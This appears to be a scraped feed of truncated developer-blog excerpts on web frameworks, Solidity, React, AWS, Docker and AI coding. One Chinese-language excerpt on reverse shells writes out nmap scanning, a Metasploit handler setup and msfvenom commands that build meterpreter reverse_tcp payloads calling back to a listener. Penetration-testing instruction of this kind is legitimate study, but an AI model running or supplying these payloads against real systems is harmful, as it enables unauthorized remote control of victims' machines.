Hi, build that on a laptop, even if it had more cores than a nuclear reactor? The truth pulled me down a rabbit hole I didn’t expect — one that rewrites what “writing software” even means. Let me take you on a short film of how a piece of code becomes a massive, signed, tested, shippable image — whether that image is your phone’s system update, a Windows release, or a billion-dollar AAA game. This isn’t just about compilers and make; it’s about orchestration, scale, people and machines working together in a choreography most users never see. I want you to imagine two scenes. Scene one: a lone engineer, late at night, running make on a workstation. The machine hums. The screen scrolls error messages and warnings. The coffee goes cold. This image is still real in small projects, but it is in…  ( 10 min )

I recently ran into a frustrating problem on my Lenovo Ideapad 5 Pro running Kali Linux — Blueman refused to start, throwing the dreaded “Connection to BlueZ failed” error. It turned out my Bluetooth service wasn’t even running. Here’s how I diagnosed and fixed it. error Photo: Step 1 – Confirm the Adapter is Detected lsusb | grep -i bluetooth Step 2 – Check the Bluetooth Service systemctl status bluetooth Step 3 – Enable and Start the Service sudo systemctl enable bluetooth sudo systemctl start bluetooth Then I confirmed: systemctl status bluetooth  ( 5 min )

Laravel Eloquent is arguably one of the most elegant ORMs in the PHP ecosystem. Its simplicity often makes developers overlook the powerful optimization features hidden beneath the surface. While many developers rely on standard Eloquent queries, knowing the subtle, performance-enhancing tricks can make your application snappier and more resource-efficient. Today, we’ll explore some hidden gems and pro-level techniques to optimize Eloquent queries like a true Laravel artisan. select and addSelect to Reduce Payload By default, Eloquent fetches all columns of a table. This can be wasteful if you only need a subset of fields. // Default fetch - retrieves all columns $users = User::all(); // Optimized fetch - only select name and email $users = User::select('name', 'email')->get(); For mor…  ( 7 min )

Preface Mappings store key-value pairs in Solidity, which similar to hash tables or dictionaries. definition & initialization mapping(address => uint) public balances Key types cannot be mappings or arrays. writing and reading operation writing/updating: [mappingName][key] = value; Notes: reading a non-existent key returns the default value. limitation mappings cannot be iterated nested mappings mapping(address => mapping(uint => bool)) public permissions; Nested mappings require multiple keys for access： permissions[msg.sender][1]  ( 5 min )

GitHub Homepage As a junior student, I often need to switch between different operating systems during my web development learning process. The Windows computer in my dorm, the Linux server in the lab, and my personal MacBook each have their unique development environments. This multi-platform development requirement made me deeply appreciate the importance of cross-platform compatibility. Recently, I discovered an impressive web framework whose performance in cross-platform support made me reconsider the possibilities of web service development. In my previous project experience, cross-platform development has always been a headache. While Java's Spring Boot can achieve "write once, run anywhere," the resource consumption and startup time of the JVM are daunting. Although Node.js can run …  ( 10 min )

Introduction Edge Artificial Intelligence (Edge AI) is reshaping how businesses, developers, and researchers deploy AI solutions. Instead of relying solely on cloud computing, Edge AI enables real-time processing directly on devices, improving speed, efficiency, and security. Among the most powerful advancements in this field is the NVIDIA Jetson Orin Nano, a compact yet powerful platform that represents truly transformative AI technology. In this article, we’ll explore 7 incredible reasons why the Jetson Orin Nano is a game-changer for Edge AI and why it stands out as one of the most impactful tools in the future of artificial intelligence. The NVIDIA Jetson Orin Nano offers GPU performance levels that were once unimaginable in such a small device. Developers can now deploy comple…  ( 7 min )

The Precision Revolution: Unlocking Structured Output from LLMs Have you ever built an application powered by a Large Language Model (LLM) only to be frustrated by inconsistent or unparseable text outputs? One moment, it's perfect JSON; the next, it's a rambling paragraph that breaks your entire system. This common unpredictability has long been a bottleneck for integrating LLMs into robust, systematic applications. LLMs, by their very nature, excel at generating free-form, creative text. While this is fantastic for conversational AI or content creation, it's a nightmare for systematic integration where predictable, machine-readable data is paramount. This is where structured output from LLMs steps in, offering a transformative solution to this unpredictability, ensuring consistent, mach…  ( 8 min )

GitHub Homepage During my junior year studies, routing systems have always been the core component of web frameworks. Traditional routing implementations often face performance bottlenecks when handling large numbers of routes, especially in complex path matching scenarios. Recently, I deeply studied a Rust-based web framework whose routing system design gave me a completely new understanding of high-performance routing implementation. In my previous projects, I used various traditional routing solutions. While functional, they often have performance issues when dealing with complex routing scenarios. // Traditional Express.js routing implementation const express = require('express'); const app = express(); // Simple route definitions app.get('/', (req, res) => { res.send('Home page'); …  ( 12 min )

Introduction Jacob Kaplan-Moss, one of the leading developers and co-creators of the Django Python framework, said: Code without tests is broken by design In this article, we are going to discuss Unit Testing. Firstly, software testing, in general, is an important part of software engineering that involves evaluating an application to identify issues before it is released to users. This ensures that the application or software meets the specified requirements and performs as expected. There are many types of software testing, common ones include unit testing, integration testing, system testing, and end-to-end (E2E) testing. Each type of software testing serves a specific purpose and is done at different stages of the software development lifecycle. This article aims to give a comprehen…  ( 11 min )

When I first started building Chrome extensions, it was mostly about solving small personal annoyances. Over time, I realized that many of these little problems weren’t just mine—other people were struggling with them too. That realization led me to build Cimple – Premium New Tab Experience, a Chrome extension designed to replace the default new tab page with something clean, useful, and minimal. In this post, I’ll share the full journey: why I built it, the challenges along the way, the design and development process, and how it’s evolving. If you’re interested in browser customization, productivity tools, or building your own extensions, this story might give you some useful insights. The Chrome new tab page does its job, but it’s limited. You get a search bar, some frequently visited si…  ( 8 min )

GitHub Homepage During my junior year studies, I have been pondering a question: how can we optimize server architecture to the extreme while maintaining functional completeness? Traditional heavyweight frameworks, while feature-rich, often come with issues like high resource consumption and slow startup times. Recently, I encountered an impressive lightweight server architecture that completely changed my understanding of web server design. In my previous project experience, I have used mainstream frameworks like Spring Boot and Django. While these frameworks are powerful, their resource consumption left a deep impression on me. A simple Spring Boot application requires over 200MB of memory to start and often takes more than 10 seconds to boot up. // Traditional Spring Boot application st…  ( 10 min )

Unlocking the Power of APIs with Postman: A Developer's Guide Introduction In the ever-evolving landscape of technology, APIs (Application Programming Interfaces) serve as the backbone of modern applications. They enable seamless communication between different software components, allowing developers to create innovative solutions. Postman, a powerful API development tool, has emerged as a game-changer in this domain. This blog will guide you through the essentials of using Postman for API development, testing, and documentation. Understanding APIs Before diving into Postman, let's briefly explore what APIs are and why they matter. What is an API? An API is a set of rules and protocols that allows different software applications to communicate with each other. It defines the methods and d…  ( 7 min )

Hey folks 👋 I’ve been working on a project called InfraGuard – it is a tool that scans your AWS infrastructure and generates JSON & HTML reports with potential misconfigurations. Right now, it supports: ✅ EC2 Audit (running instances, open ports) ✅ IAM Audit (users, roles, risky permissions) ✅ S3 Audit (bucket policies, public access) ✅ Security Groups & Network ACL Audit Reports are generated in a clean HTML + JSON format so they can be easily shared, parsed, or plugged into other workflows. My goal: Make AWS security auditing accessible for individual developers, students, and small startups who cannot afford heavy commercial tools. 👉 Infraguard Page: https://infraguard.me/ I’d love feedback from the community on: What other AWS resources should be scanned? Any suggestions to improve the report format? Would you find a lightweight web dashboard useful? Any feedback, PRs, or stars are super welcome 🚀  ( 5 min )

In today’s world of data analysis and business intelligence, Power BI has become one of the most powerful tools for transforming raw information into meaningful insights. A key concept that enables Power BI to work effectively is the idea of relationships. Relationships allow different tables in a data model to connect with one another, ensuring that information from multiple sources can be combined and analyzed as one coherent whole. Without relationships, a Power BI report would only display isolated fragments of data, making it difficult to uncover patterns and trends that span across tables. A relationship in Power BI is essentially a link between two tables, usually based on a shared column such as an ID or a key. For example, a sales table might contain a column called Customer ID, w…  ( 7 min )

I made a virtual pet that lives at the bottom of Claude Code. It needs food, play, and sleep like a real Tamagotchi, but with a twist - it watches your coding sessions and reacts to what's happening. The latest update adds AI-powered analysis. Your pet now understands what Claude is actually doing versus what you asked for. For every message in the conversation, we summarize it and maintain a history. Using Groq's LLM, the pet analyzes this context and generates real-time observations about Claude's behavior. If you ask Claude to "fix a typo" but it starts refactoring your entire codebase, your pet notices and gets visibly angry. The mood changes based on Claude's behavior - happy when following instructions, increasingly angry when ignoring them. The pet has caught Claude adding unwanted features, doing unnecessary refactors, and completely ignoring explicit instructions. It's become a subtle indicator of when Claude might be going off-track. Still has all the regular Tamagotchi features - feeding, playing, cleaning. The more you code, the hungrier it gets. It develops personality based on how you treat it. Install: npm install -g claude-code-tamagotchi Repo: https://github.com/Ido-Levi/claude-code-tamagotchi  ( 5 min )

🤖 The Future of Coding with AI: A Guide for Students Software development is evolving at an unprecedented pace. Artificial Intelligence (AI) is transforming not only how we code, but also how we learn to code. For students entering the programming world, AI offers both a powerful learning partner and a career-accelerating tool. In this post, we’ll explore the role of AI in the future of coding, its applications, and practical strategies for students to learn coding faster, smarter, and more efficiently. AI isn’t just automating repetitive tasks — it’s becoming a co-developer. Imagine: An AI assistant that suggests code while you type. Debugging errors in real time with intelligent explanations. Recommending optimized algorithms based on your project’s needs. Some existing tools shaping …  ( 7 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My journey into HTTP response optimization began during a project where we needed to serve large datasets to web clients efficiently. Traditional approaches of building complete responses in memory before sending created both latency and memory pressure issues. This challenge led me to explore streaming response techniques that could dramatically improve both performance and user experience. The breakthrough came when I realized that most web frameworks treat response generation as a monolithic operation, missing opportunities for optimization through streaming, compression, and intelligent buffering. My research revealed a framework that implements sophisticated response handling patterns optimized for both throughput and latency…  ( 12 min )

When I started learning programming on my own, I made a lot of mistakes that slowed me down. Looking back, I realize most beginners fall into the same traps. So instead of just saying "don’t do this," I want to share what actually happened to me and what I learned from it. Hopefully, this saves you some time and frustration. Watching tutorials is fine, but depending on them for everything is what people call "Tutorial Hell." Instead, use tutorials as a launchpad, but make sure you’re building small projects along the way and YOU SHOULD FAIL AND F'D UP BIG TIME TO LEARN. Even something simple like a to-do app teaches you more than endless passive watching. 💡 If you are really the type of person that learns through video, you'll definitely like Scrimba, check it out. Back then, I wrote dow…  ( 7 min )

React gives you a whole toolbox of hooks — some you use daily (useState), some you only dust off when things start feeling… slow. useCallback is one of those “performance hooks” that often gets thrown around in conversations about avoiding unnecessary work. The problem? overuse it (wrapping every function “just in case”) or misuse it (expecting it to magically speed things up). useCallback is a very specific tool with a very specific job — and once you get that, you can use it with confidence instead of guesswork. This guide is your roadmap — starting from the mental model, moving through common patterns, and ending with a simple checklist you can use to decide if useCallback is worth it in any given situation. Table of Contents Why useCallback Exists Building the Mental Model The API &…  ( 16 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My deep dive into context management began during a performance optimization project where I discovered that inefficient request context handling was creating memory leaks and performance bottlenecks. Traditional web frameworks often treat context as an afterthought, leading to resource waste and complex state management. This experience led me to explore how sophisticated context management can dramatically improve both performance and developer experience. The pivotal insight came when I realized that request context isn't just about passing data between functions—it's about creating an efficient, type-safe mechanism for managing the entire request lifecycle. My research revealed a framework that implements context management pa…  ( 12 min )

Rise of Docker project Introduced in 2010 by "dotCloud"(renamed to Docker Inc.), and now docker became common standard of containerization. Also, it made containerizing tech to be very close to every engineers(not only infrastructure part), to setup common development environment easily for co-working engineers It is running based on container internally, which is a lightweight, standalone, and executable software package that encapsulates an application and all its dependencies, including code, runtime, system tools, libraries, and settings. Probably you will be familiar with "Docker image", which is kind of blueprint to create instance. Containers are composed by one or more instances. Which means image became instance when running (such as docker run), it becomes container, providing…  ( 8 min )

📍 Scenario Imagine you’re the one managing all AWS accounts under your organization. One day, a developer while trying to tighten security, applies a policy so restrictive that the he blocks out everyone including himself in the process. The policy? Something like the one below { "Sid": "DenyAllExceptPipeline", "Effect": "Deny", "Principal": "*", "Action": "s3:*", "Resource": [ "arn:aws:s3:::project-prod-1", "arn:aws:s3:::project-prod-1/*" ], "Condition": { "StringNotEquals": { "aws:PrincipalArn": "arn:aws:iam::150641481443:role/PipelineAccessS3" } } } The intent? What Went Wrong? No administrator or even the developers own arn was included in the policy IAM users, even with full admin permissions can’t access the bucket to update configurations …  ( 8 min )

For a long time, I've been a creator of passion projects, building tools with Python and sharing them freely on GitHub. Like many of you, I did it for the love of coding and the satisfaction of building something useful. But a recent experience—learning that my Bluelight app was being used in San Francisco—was a major turning point. It made me realize these tools were more than just a hobby; they were solving real-world problems. This got me thinking about how I could continue to build and support these tools at a higher level. The answer wasn't to stop sharing, but to find a way to make it sustainable. So, I've decided to turn a few of my most impactful projects into professional tools to fund their continued development and ensure they get the support they deserve. I'm officially launchi…  ( 6 min )

I’ve been playing around with my Chromebook a lot lately, and honestly, I was surprised at how much faster, more private, and smoother it became once I switched up the operating system. If you’ve only ever used the stock Chrome OS, you’re missing out on what these alternatives can do. Linux (GalliumOS, Ubuntu, or Linux Mint) – Suddenly, it feels like a real desktop machine. Developer tools, native apps, and a super stable experience. Fyde OS – Chrome OS vibes but with way more flexibility. Plus, it handles Android apps like a champ. Chrome OS Flex – Google’s own lightweight version that makes older devices feel blazing fast again. Arch Linux – Okay, this one’s for the power users. Once set up, it’s lean, minimal, and ridiculously quick. Ubuntu Web Linux – Feels like Chrome OS but with extra privacy and the open-source edge. Each of these made my Chromebook feel fresh in its own way—whether that’s speed, privacy, or just having more control. 👉 If you want a deeper dive into the pros and comparisons, you can check them out here: Best OS for Chromebook 2025  ( 6 min )

Hey everyone, 🔹 What it does: Extracts text from images (JPG, PNG, JPEG) Fast & secure API Works well for invoices, scanned documents, ID cards, etc. 🔹 Why I built it: 🔹 Try it out: 📄 Docs: https://docubits.in/HowtoUse ⚡ Demo: https://docubits.in/Demo 🖥️ Endpoint: POST https://docubits.in/api/freextract/PerformOcr I’d love feedback from fellow devs – what would you like to see added (multi-language support, PDF support, etc.)? 🙌  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My journey into real-time web communication began during a hackathon where our team needed to build a collaborative document editor. Traditional HTTP polling felt clunky and inefficient, leading me to explore WebSocket technology. What I discovered was a framework implementation that not only simplified WebSocket development but delivered performance characteristics that completely changed my understanding of real-time web applications. The breakthrough moment came when I realized that most WebSocket implementations add unnecessary complexity to what should be a straightforward communication protocol. My exploration revealed a framework that treats WebSocket as a natural extension of HTTP, enabling seamless real-time communication…  ( 10 min )

L'outil de Cybersécurité : Burp Suite - Pour des tests d'intrusion efficaces La cybersécurité est devenue l'un des domaines les plus critiques dans l'univers informatique moderne. Avec l'augmentation des cyberattaques et des menaces en ligne, il est essentiel pour les entreprises et les organisations de protéger leurs données et leurs systèmes contre les cybercriminels. Parmi les outils de cybersécurité les plus utilisés de nos jours, on trouve Burp Suite, un outil puissant utilisé pour effectuer des tests d'intrusion, des analyses de sécurité et des audits de vulnérabilités. Burp Suite, développé par PortSwigger, est un outil de test d'intrusion largement utilisé par les professionnels de la cybersécurité pour évaluer la sécurité des applications web. Il offre une gamme complète de fonc…  ( 7 min )

Crafting the Perfect Project Outline: Your Blueprint for Success Creating a solid project outline can be likened to drafting a constitution for your project—it's the key document that defines your goals, scope, and deliverables before any work begins. A well-structured outline not only transforms a mere idea into a concrete plan but also ensures that every team member is aligned and ready to contribute effectively. Most project failures stem from a lack of clarity right from the start. A robust project outline serves as a single source of truth, mitigating scope creep and miscommunication, which can easily derail even the best ideas. For instance, launching a marketing campaign without an outline can lead to budget chaos and missed deadlines, while a structured plan keeps everyone focuse…  ( 7 min )

I have been listening to WILLOW lately and my mind is blown! What have you been listening to lately?  ( 5 min )

Integer Division Solidity does not support floating-point arithmetic. Integer division in Solidity truncates the decimal part. for example： 10 / 7 = 1 Different integer types(uint and int) cannot be used in arithmetic directly. Smaller-bit integers are implicitly converted to larger-bit integers when different bit and same type（uint8 and uint256） integer calculating Explicit conversion is required when implicit conversion is not possible. The constructor syntax type is used for type casting. For example： uint(myIntVariable) make ** myIntVariable** converted to uint type。 casting from larger to smaller types may cause overflow. converting a negative signed integer to an unsigned integer will revert the transaction. Best Practices 1.It is safer to cast smaller types to larger types, can avoid dataloss or runtime errors. 2.always check value ranges before down-casting.  ( 5 min )

Vnoder – Instantly Visualize Your Codebase (Graph, Unused, Cyclic, Empty) Ryszardo303 ・ Aug 14 #react #typescript #productivity #tooling  ( 5 min )

The digital world is constantly evolving, and 2025 is shaping up to be a milestone year for AI-powered creativity. Among the newest trends capturing the imagination of online audiences is Baby AI videos—animated clips that turn your photos and audio into charming baby versions. This playful technology is not only entertaining but also represents a fascinating intersection of AI, creativity, and social media culture. What Makes Baby AI Videos So Popular The appeal of Baby AI videos lies in their novelty and accessibility. Unlike traditional video creation tools, AI platforms handle all the complex processing: animating faces, syncing audio, and generating realistic expressions. Users can transform themselves, friends, or even celebrities into adorable animated babies within minutes. Social …  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My journey into robust error handling began during a production incident where a single unhandled exception brought down our entire web service. The cascade failure taught me that error handling isn't just about preventing crashes—it's about building resilient systems that gracefully degrade under stress while maintaining service availability. This experience led me to explore error handling strategies that could maintain both performance and reliability. The critical insight came when I realized that traditional error handling approaches often create performance bottlenecks through excessive exception throwing, complex stack unwinding, and resource cleanup overhead. My research revealed a framework that implements error handling …  ( 13 min )

“We should refactor the whole thing…” I've heard this line more times than I can count — and honestly, most of those refactors failed. Not because refactoring is a bad idea. But because they were done wrong. Here are the top reasons I’ve seen (and experienced): No clear target architecture “We just want it cleaner” is not a plan. Lack of test coverage If you don’t have a safety net, every change is a risk. Big-bang rewrites Trying to change everything at once = chaos. Team misalignment If everyone has a different definition of “clean,” good luck. ✅ How to Do It Right If you want your refactor to succeed, start with these: Define the end goal What will the architecture look like after refactoring? Refactor incrementally Small, focused changes are easier to test, review, and roll back. Write tests first Ensure you’re not breaking things while cleaning things up. Align the team on standards Agree on patterns, formatting, naming — everything. 💡 My Take The best refactors I’ve seen had these 3 things: A clear vision A solid test suite A well-communicated plan Refactoring without those? You’re just rewriting code and hoping for the best. Have you ever done a big refactor? Was it painful or satisfying? Did you have the plan and tests? Or was it more like “rip it out and hope”? Let’s share some refactor war stories in the comments. 👇  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My fascination with real-time web applications began during a project where we needed to push live updates to thousands of connected clients simultaneously. Traditional polling approaches created excessive server load and poor user experience. My exploration of Server-Sent Events (SSE) led me to discover an implementation that revolutionizes real-time web communication. The breakthrough came when I realized that SSE provides a simpler, more efficient alternative to WebSockets for many real-time scenarios. Unlike WebSockets, SSE works seamlessly with existing HTTP infrastructure, requires no special protocols, and provides automatic reconnection capabilities. My research revealed a framework implementation that maximizes these adva…  ( 9 min )

Neovim is a modern, extensible text editor that builds upon the legacy of Vim while introducing contemporary features and improved extensibility. This comprehensive guide will walk you through installing Neovim on macOS, setting up a powerful configuration with plugins, and customizing it for an optimal development experience. Prerequisites Installing Homebrew Installing Neovim Setting Up Configuration Installing Plugin Manager Essential Plugins Complete Configuration Testing Your Setup Troubleshooting Next Steps Before we begin, ensure you have: macOS (any recent version) Terminal access Administrative privileges on your machine Basic familiarity with command-line operations Homebrew is the most popular package manager for macOS and provides the easiest way to install Neovim. Open Termina…  ( 9 min )

React re-renders your components a lot. But sometimes… a single line of code inside your component becomes the bottleneck. way more work than it needs to, over and over, every time React decides to render. That’s where useMemo comes in. “Hey React — I already did this work. If nothing important has changed, just give me the same result as last time.” In this article, we’re going to break down exactly how useMemo works, when it actually helps, and when it’s just extra baggage in your code. Table of Contents Understanding the “Why” Behind useMemo Why useMemo Exists (and When You Don’t Need It) The culprit? Enter useMemo Without vs. With useMemo But… do you even need it? Building the Mental Model The Mental Model The deal is simple: Visualizing it Why this matters The …  ( 19 min )

"Three load balancers walk into a cloud... Which one do you choose?" When building apps on AWS, choosing the right load balancer isn’t just a tech decision — it's the difference between blazing-fast traffic routing and a clogged request pipeline. In this post, we’ll break down AWS's 3 load balancer types — ALB, NLB, and CLB — in beginner-friendly terms, backed by real-world analogies and practical use cases. Ready to route your traffic like a pro? Let’s go. 🚦 A load balancer is like a smart traffic cop that: Distributes incoming traffic to healthy backend servers (EC2s, containers, etc.) Helps scale apps Increases fault tolerance Ensures high availability Think of it like a receptionist at a clinic directing patients (users) to available doctors (EC2s). ALB (Application Load Balancer) …  ( 8 min )

This is a simple To-Do application built using Html, CSS, JS. it's allows to add tasks and delete them. GitHub Repositories  ( 5 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane As a junior computer science student diving deep into web development, I've spent countless hours exploring different frameworks and their performance characteristics. My journey led me to discover something remarkable that completely changed my perspective on what modern web servers can achieve. During my recent internship at a tech startup, our team faced a critical challenge. Our existing Node.js backend was struggling under heavy load, with response times climbing above acceptable thresholds. The senior developers were debating between migrating to Go with Gin framework or sticking with more familiar territory. That's when I stumbled upon something that would revolutionize our approach entirely. My exploration began with a sim…  ( 8 min )

逆向Shell依旧是渗透测试与对抗演练中的核心工具，它清晰地展现了系统利用与防御的边界。本指南将逐步讲解使用Metasploit进行进攻操作，并提供全面的防御策略，适用于专业安全运营团队。 逆向Shell是一种由目标主机主动连接回监听主机的Shell会话，从而允许攻击方执行命令。与传统入站连接的Shell不同，逆向Shell利用出站网络策略进行通信，在现代企业环境中更隐蔽、更有效。 Metasploit是逆向Shell操作中最灵活的框架之一。以下是专业、逐步的进攻流程： 步骤1：侦察 确定目标操作系统、服务和漏洞。 工具：nmap、masscan、shodan。 示例扫描： nmap -A -p- 192.168.1.100 步骤2：监听器设置 启动Metasploit处理器接收目标连接。 msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.10 set LPORT 4444 exploit -j 处理器后台运行（-j），等待目标连接。 步骤3：生成Payload 根据目标系统生成适合的Payload： msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe Linux示例： msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf MacOS示例: msfvenom -p osx/x64/mete…  ( 7 min )

2025-02-13 Cannot read properties of undefined (reading 'call') at get_first_child ブラウザ側で上記のようなエラーが出て画面が出てこない 突然発症、コードを戻しても解決しない Disable cacheしたら直った 謎 Tunnelでもcache設定が効いてる模様 Cloudflareのダッシュボードでドメインを選択、「Caching」「Cache Rules」から「すべてのキャッシュをバイパスする」のルール追加をしたら直った  ( 5 min )

Modern business process management requires flexible and dynamic task assignment capabilities. Instead of static user assignments, organizations need to dynamically determine who should handle specific tasks based on current user availability, roles, and custom attributes. This article demonstrates how to leverage REST APIs to query user lists with specific criteria and use those results as dynamic candidate groups for task assignment in process automation platforms. Traditional task assignment approaches often rely on: Static groups defined at design time Hard-coded user lists that become outdated Manual reassignment when team structures change Dynamic assignment offers significant advantages: Real-time user availability checking Attribute-based filtering (skills, location, workload) Auto…  ( 8 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane As a computer science student working on cross-platform projects, I've always been frustrated by the compromises required when targeting multiple operating systems. My experience developing web services that needed to run seamlessly across Windows, Linux, and macOS led me to discover an approach that eliminates platform-specific code while maintaining native performance on all systems. The challenge became apparent during a group project where our team needed to deploy the same web service across heterogeneous infrastructure. Our initial Node.js implementation worked but suffered from platform-specific performance variations and deployment complexities. This experience motivated me to explore alternatives that could deliver consis…  ( 9 min )

Beyond Aesthetics: How Strategic Web Design and Development Builds Brands and Boosts Business Online With stiff competition in Bristol's ever-booming corporate environment, frills have little place. Customers suffer from choice overload and have the shortest attention span. Strategically designed websites can communicate very quickly who you are, what you do, and why it matters. It is not only about good design; it is also about clarity, consistency, and user-oriented approach. Your brand is more than a mere logo or color scheme: it is the entire emotional and psychological relationship that customers have with a particular business. Strategic web design takes brand values, voice, and personality and entwines them into every pixel of an online presence. User Experience (UX) Drives Conversi…  ( 10 min )

GitHub Homepage As a junior student, I often need to switch between different operating systems during my web development learning process. The Windows computer in my dorm, the Linux server in the lab, and my personal MacBook each have their unique development environments. This multi-platform development requirement made me deeply appreciate the importance of cross-platform compatibility. Recently, I discovered an impressive web framework whose performance in cross-platform support made me reconsider the possibilities of web service development. In my previous project experience, cross-platform development has always been a headache. While Java's Spring Boot can achieve "write once, run anywhere," the resource consumption and startup time of the JVM are daunting. Although Node.js can run …  ( 10 min )

Is your Angular team stuck fighting fires more than building features? Discover how to turn setbacks into success. Every development team faces roadblocks, but Angular projects can suffer from a unique set of challenges that hamper productivity and morale. This article introduces the typical obstacles Angular teams encounter - such as collaboration troubles, inconsistent code practices, and scaling difficulties - and previews the practical strategies we'll explore to transform these common pain points into pathways for high-performing, efficient development. Every Angular team encounters growing pains, but spotting them early can save projects (and sanity) down the line. This chapter explores the most common pitfalls that hold Angular teams back - communication breakdowns, ambiguous code s…  ( 11 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane During my third year studying computer science, I encountered a fundamental challenge that many developers face: how do you achieve extreme performance without sacrificing memory safety? My journey through various web frameworks led me to a discovery that fundamentally changed my understanding of what's possible in modern server development. The catalyst for my research came during a distributed systems course project. Our professor challenged us to build a web server capable of handling 100,000 concurrent connections while maintaining memory safety guarantees. Most students immediately gravitated toward C++ for raw performance, accepting the inherent memory management risks. I chose a different path. Traditional high-performance …  ( 8 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My fascination with concurrent programming began during a distributed systems course where our professor challenged us to handle 100,000 simultaneous connections on a single server. Most students immediately thought about thread pools and complex synchronization mechanisms. I discovered a fundamentally different approach that revolutionized my understanding of high-concurrency web development. The breakthrough moment came while analyzing the performance characteristics of various concurrency models. Traditional threading approaches quickly hit scalability walls due to context switching overhead and memory consumption. Each thread typically consumes 2-8MB of stack space, making 100,000 concurrent connections require 200-800GB of me…  ( 9 min )

Vibe Coding and the MVP Revolution: Buy Back Your Time, Impress Investors One of the most profound shifts brought by vibe coding is in how we create Minimum Viable Products (MVPs) and Proofs of Concept (PoCs). For founders, entrepreneurs, and anyone pitching ideas, the game has changed forever. Not long ago, building an MVP meant squeezing in late nights and weekends after your main job. Endless debugging, integration work, and feature building stole time from your family, friends, and personal life. Startup dreams often meant burnout before you even met an investor. Now, you describe your product vision in plain language, and AI turns it into a working prototype—fast: Speed to Demo: Build MVPs in hours, not weeks, so you can pitch ideas while they’re still fresh. Real, Testable Products: Show investors functional software, not just slides. Instant Iteration: Adjust for new feedback between investor meetings without sacrificing your life. With vibe coding, you no longer have to sacrifice your personal time to chase entrepreneurial goals. You can win investor confidence and have dinner with your family. That’s not just efficiency—it’s a lifestyle change. Vibe coding opens the door for non-technical founders to compete. With AI handling the heavy lifting, you don’t necessarily need a technical co-founder to get investor-ready. This speeds up innovation and widens access to entrepreneurial opportunities.  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane During my final year project on microservices architecture, I encountered a critical challenge that many developers face: dependency bloat. Our team's initial implementation relied on dozens of external libraries, creating a complex web of dependencies that introduced security vulnerabilities, increased binary size, and complicated deployment processes. This experience led me to explore a radically different approach that would fundamentally change my perspective on web framework design. The revelation came when I discovered that most web framework dependencies provide functionality that can be implemented more efficiently using only standard library components. My research into zero-dependency architectures revealed performance b…  ( 9 min )

So, I recently binged The Bear. 🍽️🐻 The Bear is a TV series about a Michelin-star-level chef, Carmen "The Bear" Berzatto, who inherits his late brother's chaotic, debt-ridden sandwich shop, The Original Beef of Chicagoland. What follows is the chaos of trying to turn it around - and eventually, the transformation of the shop into his dream restaurant, The Bear. 🔥 What you’ll see: burnt beef, clashing egos, unpaid bills, and a crew that runs more on instinct than systems. If you're into series that mix kitchen intensity with human drama, give it a try - it's one of the most raw depictions of work culture I've seen on screen. Now, restaurants (and especially Carmy’s) don't just operate on recipes. They operate on communication rituals: 👨‍🍳 Carmy calls: “Fire two chickens, table two!” “…  ( 10 min )

Disclosure: This post includes affiliate links; I may receive compensation if you purchase products or services from the different links provided in this article. Hello Devs, it's every developer's dream to get an SDE job at a FAANG company. I dreamed it too, and having gone through interviews on Google, Microsoft, and Amazon, I know a thing or two about these interviews.  Many developers fail these interviews either because of data structures and algorithms or because of System Design. Even for an experienced developer, cracking a system design interview is not easy. It requires patience, perseverance, and dedication to learn the intricacies of system design and acquire knowledge to crack an interview. Though instead of inventing the wheel by yourself, you can learn from others' experi…  ( 8 min )

GitHub Homepage During my junior year studies, middleware architecture has always been a crucial component of web frameworks. Traditional middleware implementations often suffer from performance overhead and complexity issues, especially when dealing with multiple middleware layers. Recently, I deeply studied a Rust-based web framework whose middleware system design gave me a completely new understanding of elegant and efficient middleware implementation. In my previous projects, I used various traditional middleware solutions. While they provide necessary functionality, they often come with significant performance costs and complexity. // Traditional Express.js middleware implementation const express = require('express'); const app = express(); // Logging middleware app.use((req, res, ne…  ( 11 min )

Recentemente, desenvolvi uma aplicação web simples de lista de tarefas para praticar conceitos fundamentais de JavaScript e desenvolvimento front-end. O que aprendi Estruturação de projetos front-end de forma organizada. Manipulação do DOM com JavaScript para criar interações dinâmicas. Uso de frameworks e bibliotecas que ajudam a otimizar o código e melhorar a experiência do usuário. Versionamento de código usando Git e GitHub. Funcionalidades Adicionar novas tarefas. Marcar tarefas como concluídas. Excluir tarefas. Você pode conferir o código completo e o projeto funcionando aqui: To-Do List no GitHub  ( 5 min )

Vibe Coding and the New Era of Software: From “How” to “What” Vibe coding isn’t just another trend; it’s a paradigm shift in how software gets built. Popularized by Andrej Karpathy in early 2025, vibe coding is the art of letting AI handle how things are built while you focus entirely on what to build. Whether you’re a software architect, solo developer, startup founder, or tinkerer with a big idea, this changes everything. Vibe coding is an AI-first approach: Describe your vision—features, tweaks, or entire systems—in plain language. Let the AI write most (or all) of the code, often with minimal human review. If something breaks or needs changing, tell the AI what’s wrong, and it will handle updates. The codebase grows organically, without painstakingly managing every line. As Karpathy puts it: "You fully give in to the vibes, embrace exponentials, and forget that the code even exists." Your role becomes guiding, testing, and nudging AI in the right direction, sometimes just pasting an error message for it to fix. For architects, vibe coding is liberating: Less Drudgery: Manual bug fixing, syntax wrangling, and boilerplate fade away. Creative Focus: You get to think about architecture, design patterns, and product vision rather than low-level details. Rapid Experimentation: Prototype and iterate in hours instead of weeks. It reshapes the dev loop: Developers use AI to automate the mundane, freeing their attention for higher-value work. Architects set the “what” and “why,” while AI delivers the “how.” Vibe coding lowers barriers for entry into software creation. Non-technical founders, domain experts, and hobbyists can now ship working software without deep coding knowledge. That makes innovation more inclusive and the tech landscape more diverse. This is more than productivity—it's a cultural shift. We’re moving from craftsmanship-as-labor to craftsmanship-as-creativity. The grind becomes optional.  ( 6 min )

